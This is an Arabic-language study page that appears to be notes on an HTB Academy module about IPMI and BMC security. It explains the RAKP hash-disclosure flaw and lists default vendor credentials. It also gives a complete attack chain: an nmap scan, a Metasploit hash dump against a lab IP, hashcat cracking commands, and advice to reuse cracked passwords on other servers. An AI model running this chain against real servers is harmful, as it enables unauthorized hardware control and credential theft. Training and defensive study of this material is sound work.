◄ BACK TO PROTOCOLS
► HTB ACADEMY · MODULE 112 · SECTION 16/21
IPMI — INTELLIGENT PLATFORM MANAGEMENT INTERFACE
HARDWARE MANAGEMENT · BMC · RAKP VULNERABILITY · HASH DUMPING
623
UDP Port
BMC
Core Component
RAKP
Critical Vuln
7300
Hashcat Mode
ADMIN:ADMIN
Default Creds
≈ Physical
BMC Access
ما هو IPMI؟

IPMI = نظام إدارة الـ hardware مستقل كاملاً عن الـ OS. يشتغل حتى لو السيرفر مطفي أو معطل. نُشر أول مرة من Intel عام 1998 ويدعمه أكثر من 200 شركة.

IPMI vs SNMP
SNMP: يراقب الـ software والـ OS
يشتغل بعد ما الـ OS اشتغل
لو السيرفر مطفي = ما يشتغل ❌

IPMI: يراقب الـ hardware مباشرة
مستقل عن الـ OS كاملاً
حتى لو السيرفر مطفي = يشتغل ✅
تشبيه
SNMP = طبيب يفحص المريض وهو صاحي

IPMI = أجهزة المستشفى تراقب المريض حتى وهو فاقد الوعي أو نايم 🏥
3 حالات استخدام الـ Sysadmin

هاي الحالات يستخدمها الـ sysadmin للصيانة — كأنه موجود فيزيائياً أمام السيرفر بدون ما يروح للغرفة:

1. Before the OS boots
تعديل BIOS settings قبل ما يشتغل الـ OS
2. When host is powered down
السيرفر مطفي كاملاً — يشغّله عن بعد
3. After a system failure
السيرفر انهار — يتصل فيه ويشوف المشكلة
💡 IPMI يراقب كمان: درجة الحرارة، الفولتية، الـ fans، الـ power supplies، وينبّه عبر SNMP
BMC — قلب IPMI

BMC = Baseboard Management Controller — كمبيوتر صغير مستقل داخل السيرفر. معالجه ARM يشغّل Linux خاص، موصول مباشرة بالـ Motherboard.

وين يكون BMC؟
1. مدمج في الـ Motherboard مباشرة (الأكثر شيوعاً)
2. PCI card تضيفه لاحقاً
أشهر الـ BMCs
HP → iLO (Integrated Lights-Out)
Dell → iDRAC (Remote Access Controller)
Supermicro → IPMI
💀 اخترقت BMC = physical access كامل للسيرفر! تقدر تراقب، تشغّل، تطفي، أو تعيد تثبيت الـ OS.
مكونات IPMI الخمسة
المكونالاختصارالوظيفة
Baseboard Management Controller BMC القلب — كمبيوتر ARM صغير يشغّل Linux، موصول بالـ Motherboard مباشرة
Intelligent Chassis Management Bus ICMB يسمح بالتواصل بين chassis وثاني — إدارة عدة servers في نفس الـ rack
Intelligent Platform Management Bus IPMB يمدّد قدرات الـ BMC — يوصّل أجهزة وسensors إضافية
IPMI Memory ذاكرة خاصة تخزن: System Event Log + Repository data
Communications Interfaces طرق التواصل: Local, Serial, LAN (Port 623 UDP), PCI Bus
صورة كاملة للمكونات
BMC (القلب — ARM + Linux)IPMB ← يوسّع BMC ويوصّل sensors إضافية ↕ ICMB ← يتواصل مع servers أخرى في نفس الـ rack ↕ Memory ← يخزن System Event Log وبيانات الـ inventory ↕ Interfaces ← LAN (Port 623 UDP) + Serial + PCI
💡 IPMI يحتاج مصدر طاقة + LAN connection عشان يشتغل — حتى لو السيرفر مطفي
⚠️ Default Credentials
المنتجUsernamePasswordالخطر
Dell iDRAC root calvin شائع — كثير ما يتغير
HP iLO Administrator 8 أحرف عشوائية يبدو أأمن بس قابل للكسر!
Supermicro IPMI ADMIN ADMIN الأخطر — أبسط باسورد ممكن 💀
🎯 دايماً جرب الـ default credentials أول — كثير admins ما يغيرونها!
⚠️ HP iLO — يبدو أأمن بس ليس كذلك!

HP iLO يستخدم باسورد عشوائي 8 أحرف من أرقام وحروف كبيرة فقط:

المشكلة
أرقام (0-9) = 10 خيار
حروف كبيرة (A-Z) = 26 خيار
المجموع = 36 خيار لكل حرف
8 أحرف = 36^8 = 2.8 تريليون
← قابل للكسر بـ hashcat في ساعات!
أمر الكسر
hashcat -m 7300 ipmi.txt \ -a 3 ?1?1?1?1?1?1?1?1 \ -1 ?d?u
?d = أرقام / ?u = حروف كبيرة
⚠️ لو كان الباسورد يشمل حروف صغيرة + رموز = أصعب بكثير للكسر
💀 RAKP Vulnerability — ثغرة في IPMI 2.0

RAKP = Remote Authenticated Key-Exchange Protocol. الثغرة في تصميم البروتوكول نفسه — لا يمكن إصلاحها بدون كسر الـ IPMI 2.0 spec كاملاً.

المصادقة العادية:
# المنطق الطبيعي (مثل SSL/TLS): Client يشفر بـ public key السيرفر يفك التشفير بـ private keyما في معلومات تطلع للمهاجم ✅
RAKP — المنطق المعيب:
# أنت تقول للسيرفر: "أنا ADMIN"السيرفر يرسل فوراً: hash لباسورد ADMIN! قبل ما تثبت هويتك! قبل ما تعطي أي باسورد!= أي شخص يطلب الـ hash يحصل عليه مجاناً! 💀
🎯 تشبيه: زي لو قلت لحارس "أنا محمد"
فقال لك "باسورد محمد هو XYZ" قبل ما يسألك أي سؤال! 😄
🔑 Salt — إيش يعني؟
بدون Salt ❌
password123 → hash → ABC123 password123 → hash → ABC123 ↓ نفس الباسورد = نفس الـ hash سهل يكشفه المهاجم!
مع Salt ✅
password123 + xK9m → ZYX987 password123 + pQ2n → MNL456 ↓ نفس الباسورد + salt مختلف = hash مختلف = أصعب للكسر
💡 RAKP يرسل salted SHA1 أو MD5 hash — بس حتى مع الـ salt يمكن كسره offline بـ hashcat
❌ ليش "No Direct Fix"؟
# الثغرة في تصميم البروتوكول نفسه: المصممون أرادوا: الـ client يتحقق من هوية السيرفر أول (mutual authentication) ↓ بس ما فكروا: لو المهاجم طلب الـ hash السيرفر ما يرفض!لو صلحوها = كسروا الـ IPMI 2.0 spec كاملاً = كل الأجهزة تحتاج تتغير!الحل الوحيد: باسوردات قوية جداً + network segmentation ✅
اختر الأداة:
🔍Nmap
MSF Version
💀MSF Dump
🔓hashcat
🔍 Nmap على IPMI
sudo nmap -sU --script ipmi-version -p 623 TARGET PORT STATE SERVICE 623/udp open asf-rmcp | ipmi-version: | Version: IPMI-2.0 | UserAuth: | PassAuth: auth_user, non_null_user |_ Level: 2.0 MAC Address: 14:03:DC:674:18:6A (Hewlett Packard Enterprise)
💡 MAC Address يكشف نوع الـ BMC — HP, Dell, Supermicro → تعرف الـ default credentials!
⚡ Metasploit — Version Scan
msf6 > use auxiliary/scanner/ipmi/ipmi_version msf6 > set rhosts 10.129.42.195 msf6 > run [+] 10.129.42.195:623 - IPMI-2.0 UserAuth(auth_msg, auth_user, non_null_user) PassAuth(password, md5, md2, null) Level(1.5, 2.0)
💀 Metasploit — Dump Hashes (RAKP)
msf6 > use auxiliary/scanner/ipmi/ipmi_dumphashes msf6 > set rhosts 10.129.42.195 msf6 > set OUTPUT_HASHCAT_FILE /tmp/ipmi_hashes.txt msf6 > run [+] Hash found: ADMIN:8e160d4802040000... [+] Hash for user 'ADMIN' matches password 'ADMIN'
💡 الـ Options المهمة:
OUTPUT_HASHCAT_FILE = يحفظ الـ hashes بالـ format الصح لـ hashcat تلقائياً
OUTPUT_JOHN_FILE = يحفظها بـ format John the Ripper
USER_FILE = قائمة usernames للتجربة
PASS_FILE = قائمة باسوردات للكسر التلقائي
🔓 hashcat — كسر الـ Hashes
IPMI عادي:
hashcat -m 7300 /tmp/ipmi_hashes.txt rockyou.txt
HP iLO (8 أحرف أرقام + حروف كبيرة):
hashcat -m 7300 ipmi.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u # -a 3 = mask attack (يجرب كل التركيبات) # ?1 = الـ charset المحدد في -1 # ?d = أرقام 0-9 # ?u = حروف كبيرة A-Z
💡 -m 7300 = IPMI2 RAKP HMAC-SHA1 hash type
⛓️ خطوات الـ IPMI Footprinting
1
Nmap Scan — اكتشاف IPMI
تحقق إذا Port 623 UDP مفتوح + إصدار IPMI + نوع البائع
sudo nmap -sU --script ipmi-version -p 623 TARGET
💡 MAC Address يكشف: HP, Dell, Supermicro → تعرف الـ default credentials
2
جرب Default Credentials
قبل أي شيء — جرب الـ default passwords
# HP iLO → Administrator : randomized # Dell iDRAC → root : calvin # Supermicro → ADMIN : ADMIN ← ابدأ بها!
3
استغل RAKP — اسرق الـ Hashes
حتى بدون credentials — تقدر تجيب الـ hashes!
msf6 > use auxiliary/scanner/ipmi/ipmi_dumphashes msf6 > set rhosts TARGET msf6 > set OUTPUT_HASHCAT_FILE /tmp/ipmi_hashes.txt msf6 > run
4
كسر الـ Hashes offline
بعيداً عن السيرفر — سريع وما يُسجل
hashcat -m 7300 /tmp/ipmi_hashes.txt rockyou.txt
🎯 لو الباسورد تكرر في أماكن ثانية = دخول SSH لـ servers أخرى!
5
الدخول للـ BMC Web Console
بعد ما تكسر الباسورد — ادخل على الـ web interface
# HP iLO: https://TARGET/ # Dell iDRAC: https://TARGET/ # Supermicro: https://TARGET/ ↓ # Full hardware control! 💀
⛓️ Attack Chain
🔍
Nmap
UDP 623
🔑
Default Creds
ADMIN:ADMIN
💀
RAKP Dump
ipmi_dumphashes
🔓
hashcat
-m 7300
💥
BMC Access
= Physical!
🌐 الأساسيات
إيش الفرق بين IPMI وSNMP؟
SNMP يراقب الـ software والـ OS — لو السيرفر مطفي ما يشتغل. IPMI يراقب الـ hardware مباشرة — مستقل عن الـ OS كاملاً، يشتغل حتى لو السيرفر مطفي أو معطل. SNMP = طبيب يفحص المريض وهو صاحي. IPMI = أجهزة المستشفى تراقبه حتى وهو فاقد الوعي.
ليش اخترقت BMC = physical access؟
لأن BMC متصل مباشرة بالـ Motherboard ويتحكم في الـ hardware كاملاً. تقدر تراقب، تشغّل، تطفي، أو تعيد تثبيت الـ OS — بدون ما تكون فيزيائياً أمام الجهاز.
إيش الـ 3 حالات اللي يستخدم فيها الـ sysadmin IPMI؟
هاي حالات الصيانة — كأنه موجود فيزيائياً أمام السيرفر: 1) قبل ما يشتغل الـ OS (تعديل BIOS). 2) لما السيرفر مطفي (يشغّله عن بعد). 3) بعد ما السيرفر انهار (يتصل فيه ويصلح المشكلة).
💀 RAKP Vulnerability
إيش الـ Salt وليش يستخدم؟
Salt = كلمة عشوائية تُضاف للباسورد قبل التشفير. بدون salt: نفس الباسورد = نفس الـ hash دايماً = سهل يكشفه المهاجم. مع salt: نفس الباسورد + salt مختلف = hash مختلف = أصعب للكسر.
إيش مشكلة RAKP بالضبط؟
في IPMI 2.0، لما تقول للسيرفر "أنا ADMIN" — يرسل لك hash الباسورد فوراً قبل ما يتحقق من هويتك! مثل حارس يقول لك "باسورد محمد هو XYZ" قبل ما يسألك أي سؤال. أي شخص على الشبكة يقدر يطلب الـ hash ويكسره offline.
ليش ما في fix لـ RAKP؟
لأن الثغرة في تصميم بروتوكول IPMI 2.0 نفسه — مش في implementation معين. لو أصلحوها = كسروا الـ spec كاملاً وكل الأجهزة تحتاج تتغير. الحل الوحيد: باسوردات قوية جداً + network segmentation.
إيش OUTPUT_HASHCAT_FILE في Metasploit؟
option في ipmi_dumphashes يحدد مكان حفظ الـ hashes بالـ format الصح لـ hashcat تلقائياً. بدلاً من تنسخ الـ hash يدوياً، الملف يكون جاهز مباشرة تشغّل عليه: hashcat -m 7300 ipmi_hashes.txt rockyou.txt